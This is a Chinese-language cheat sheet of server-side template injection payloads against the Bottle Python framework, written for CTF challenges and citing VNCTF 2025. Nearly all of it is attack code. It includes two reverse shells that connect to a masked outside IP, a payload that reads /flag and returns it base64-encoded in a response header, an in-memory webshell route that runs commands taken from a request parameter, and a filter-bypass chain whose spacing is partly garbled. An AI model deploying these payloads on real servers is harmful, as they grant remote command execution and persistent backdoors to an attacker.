bottle模板框架注入
bottle模板框架注入
在simpletemplate框架下支持用%来使用python 代码 本来是bottle框架是会有ssti的 但过滤掉了花括号就可以用这个方法
方法0(单行python反弹)
弹shell:
%__import__('os').popen("python3 -c 'import os,pty,socket;s=socket.socket();s.connect((\"111.xxx.xxx.xxx\",7777));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn(\"sh\")'").read()
方法1(控制返回头)
直接加一个返回头
<%
result = __import__('subprocess').run(
['cat','/flag'],
capture_output=True
)
encoded = __import__('base64').b64encode(result.stdout).decode()
__import__('bottle').response.headers['X-Output'] = encoded
%>
方法2内存马
% from bottle import Bottle, request
% app=__import__('sys').modules['__main__'].__dict__['app']
% app.route("/shell","GET",lambda :__import__('os').popen(request.params.get('lalala')).read())
方法3 python反弹shell(这个是多行的)
用python的反弹shell我一开始用bash好像失败了
message=%0A%import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("xxx.xxx.xxx.xxx",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);#
bottle ssti(VNctf 2025留言板)
题目描述说:”某个单文件框架“,搜索或者问 ai 都能知道 python 本体的单文件框架是 bottle 框架。
绕长度限制,题目主页面也有提示现在需要知道换行之后两个大括号的语句是否是同一个上下文,测试发现是的,这是使用海象表 达式的回显。
那已知这里是同一个上下文,直接打继承链就行了。
Go
{{a:=''}}%0a{{b:=a. class }}%0a{{c:=b. base }}%0a{{d:=c. subc lasses__}}%0a{{e:=d()[156]}}%0a{{f:=e.init}}%0a{{g:=f.__global s }}%0a{{z:=' builtins '}}%0a{{h:=g[z]}}%0a{{i:=h['op''en']}}%0 a{{x:=i("/flag")}}%0a{{y:=x.read()}}

浙公网安备 33010602011771号